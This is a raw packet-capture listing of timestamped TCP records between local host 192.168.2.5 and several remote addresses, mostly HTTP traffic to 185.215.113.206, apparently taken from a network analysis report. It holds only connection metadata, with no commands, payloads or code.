Nov 25, 2024 16:21:40.855197906 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.855299950 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.855343103 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.856144905 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.856228113 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.856300116 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.856342077 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.857280970 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.857294083 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.857336044 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.858329058 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.858340979 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.858392954 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.859146118 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.859205008 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.859318018 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.859369040 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.860263109 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.860284090 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.860337019 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.861375093 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.861387968 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.861423969 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.861450911 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.862195969 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.862207890 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.862246990 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.862258911 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.862915039 CET	443	49827	4.249.200.148	192.168.2.5
Nov 25, 2024 16:21:40.862931967 CET	443	49827	4.249.200.148	192.168.2.5
Nov 25, 2024 16:21:40.862996101 CET	49827	443	192.168.2.5	4.249.200.148
Nov 25, 2024 16:21:40.863003016 CET	443	49827	4.249.200.148	192.168.2.5
Nov 25, 2024 16:21:40.863029957 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.863030910 CET	49827	443	192.168.2.5	4.249.200.148
Nov 25, 2024 16:21:40.863053083 CET	49827	443	192.168.2.5	4.249.200.148
Nov 25, 2024 16:21:40.863079071 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.863277912 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.863328934 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.864084959 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.864116907 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.864139080 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.864151001 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.864969969 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.865078926 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.865134001 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.866007090 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.866060019 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.866070032 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.866127968 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.866980076 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.867038965 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.867058039 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.867234945 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.868004084 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.868041992 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.868056059 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.868083954 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.869198084 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.869252920 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.869354963 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.869398117 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.870179892 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.870228052 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.870327950 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.871023893 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.871088028 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.871154070 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.871284008 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.872003078 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.872062922 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.872123957 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.872323990 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.872908115 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.872966051 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.873023033 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.873131037 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.873955011 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.874006033 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.874008894 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.874061108 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.874948978 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.874967098 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.875005960 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.875024080 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.876032114 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.876044035 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.876095057 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.876871109 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.876918077 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.876925945 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.876990080 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.878170967 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.878225088 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.878249884 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.878287077 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.878953934 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.878966093 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.879013062 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.879779100 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.879968882 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.880039930 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.881074905 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.881139040 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.881185055 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.881228924 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.881937981 CET	443	49827	4.249.200.148	192.168.2.5
Nov 25, 2024 16:21:40.881957054 CET	443	49827	4.249.200.148	192.168.2.5
Nov 25, 2024 16:21:40.882019043 CET	49827	443	192.168.2.5	4.249.200.148
Nov 25, 2024 16:21:40.882026911 CET	443	49827	4.249.200.148	192.168.2.5
Nov 25, 2024 16:21:40.882117033 CET	49827	443	192.168.2.5	4.249.200.148
Nov 25, 2024 16:21:40.882294893 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.882420063 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.882476091 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.883148909 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.883197069 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.883207083 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.883265018 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.884257078 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.884269953 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.884320974 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.884876966 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.884888887 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.885170937 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.885734081 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.885806084 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.885867119 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.885905027 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.886729002 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.886780977 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.886790991 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.886991978 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.887765884 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.887820005 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.887830973 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.887948990 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.888674021 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.888726950 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.888781071 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.888828993 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.889626980 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.889867067 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.889919996 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.890579939 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:40.890755892 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:40.899921894 CET	443	49827	4.249.200.148	192.168.2.5
Nov 25, 2024 16:21:40.899986982 CET	443	49827	4.249.200.148	192.168.2.5
Nov 25, 2024 16:21:40.900008917 CET	49827	443	192.168.2.5	4.249.200.148
Nov 25, 2024 16:21:40.900022030 CET	443	49827	4.249.200.148	192.168.2.5
Nov 25, 2024 16:21:40.900053978 CET	49827	443	192.168.2.5	4.249.200.148
Nov 25, 2024 16:21:40.900064945 CET	49827	443	192.168.2.5	4.249.200.148
Nov 25, 2024 16:21:40.900091887 CET	443	49827	4.249.200.148	192.168.2.5
Nov 25, 2024 16:21:40.900208950 CET	49827	443	192.168.2.5	4.249.200.148
Nov 25, 2024 16:21:40.900216103 CET	443	49827	4.249.200.148	192.168.2.5
Nov 25, 2024 16:21:41.031085968 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.031193972 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.031265020 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.031474113 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.031531096 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.031719923 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.031843901 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.031877041 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.032037020 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.032668114 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.032713890 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.032721043 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.032759905 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.033847094 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.033893108 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.034034014 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.034238100 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.034651041 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.034698963 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.034845114 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.034898043 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.035640001 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.035693884 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.035773993 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.035816908 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.036628962 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.036689043 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.036716938 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.036757946 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.037725925 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.037781954 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.038187027 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.038244009 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.038624048 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.038675070 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.038798094 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.038847923 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.039681911 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.039719105 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.039774895 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.040601015 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.040652990 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.040680885 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.040719032 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.041606903 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.041646957 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.041667938 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.041696072 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.042651892 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.042716980 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.042722940 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.042804003 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.043627024 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.043680906 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.043709040 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.043931961 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.044519901 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.044569016 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.044706106 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.044750929 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.045522928 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.045646906 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.045655012 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.045686007 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.046560049 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.046575069 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.046627998 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.047564983 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.047765970 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.047796965 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.047848940 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.048486948 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.048517942 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.048583031 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.048583031 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.049644947 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.049846888 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.049890995 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.050507069 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.050545931 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.050551891 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.050604105 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.051446915 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.051466942 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.051512957 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.051733017 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.051820040 CET	443	49834	23.44.203.14	192.168.2.5
Nov 25, 2024 16:21:41.052386045 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.052452087 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.052656889 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.052804947 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.053412914 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.053456068 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.053626060 CET	443	49835	23.44.203.14	192.168.2.5
Nov 25, 2024 16:21:41.053634882 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.053682089 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.054373026 CET	49834	443	192.168.2.5	23.44.203.14
Nov 25, 2024 16:21:41.054383993 CET	443	49834	23.44.203.14	192.168.2.5
Nov 25, 2024 16:21:41.054476023 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.054518938 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.054579973 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.054606915 CET	49835	443	192.168.2.5	23.44.203.14
Nov 25, 2024 16:21:41.054620981 CET	443	49835	23.44.203.14	192.168.2.5
Nov 25, 2024 16:21:41.054642916 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.055022955 CET	443	49835	23.44.203.14	192.168.2.5
Nov 25, 2024 16:21:41.055360079 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.055404902 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.055484056 CET	443	49834	23.44.203.14	192.168.2.5
Nov 25, 2024 16:21:41.055494070 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.055548906 CET	49834	443	192.168.2.5	23.44.203.14
Nov 25, 2024 16:21:41.055550098 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.056395054 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.056425095 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.056452036 CET	49835	443	192.168.2.5	23.44.203.14
Nov 25, 2024 16:21:41.056493998 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.056493998 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.056525946 CET	443	49835	23.44.203.14	192.168.2.5
Nov 25, 2024 16:21:41.057456017 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.057554960 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.057580948 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.057598114 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.058676004 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.058717966 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.058773041 CET	49834	443	192.168.2.5	23.44.203.14
Nov 25, 2024 16:21:41.058823109 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.058883905 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.058902979 CET	443	49834	23.44.203.14	192.168.2.5
Nov 25, 2024 16:21:41.059422016 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.059473991 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.059494972 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.059698105 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.060291052 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.060353041 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.060396910 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.060535908 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.061291933 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.061407089 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.061439037 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.061459064 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.062309980 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.062372923 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.062418938 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.062474012 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.063286066 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.063298941 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.063348055 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.064213037 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.064268112 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.064268112 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.064315081 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.065208912 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.065265894 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.065320015 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.065357924 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.066251040 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.066303968 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.066451073 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.067167044 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.067261934 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.067323923 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.068212986 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.068408012 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.068432093 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.068450928 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.069170952 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.069226027 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.069438934 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.069484949 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.070153952 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.070202112 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.070303917 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.070367098 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.071127892 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.071337938 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.071403027 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.072164059 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.072208881 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.072251081 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.073122978 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.073183060 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.073259115 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.073553085 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.074220896 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.074337006 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.074408054 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.075278997 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.075331926 CET	49765	80	192.168.2.5	185.215.113.206
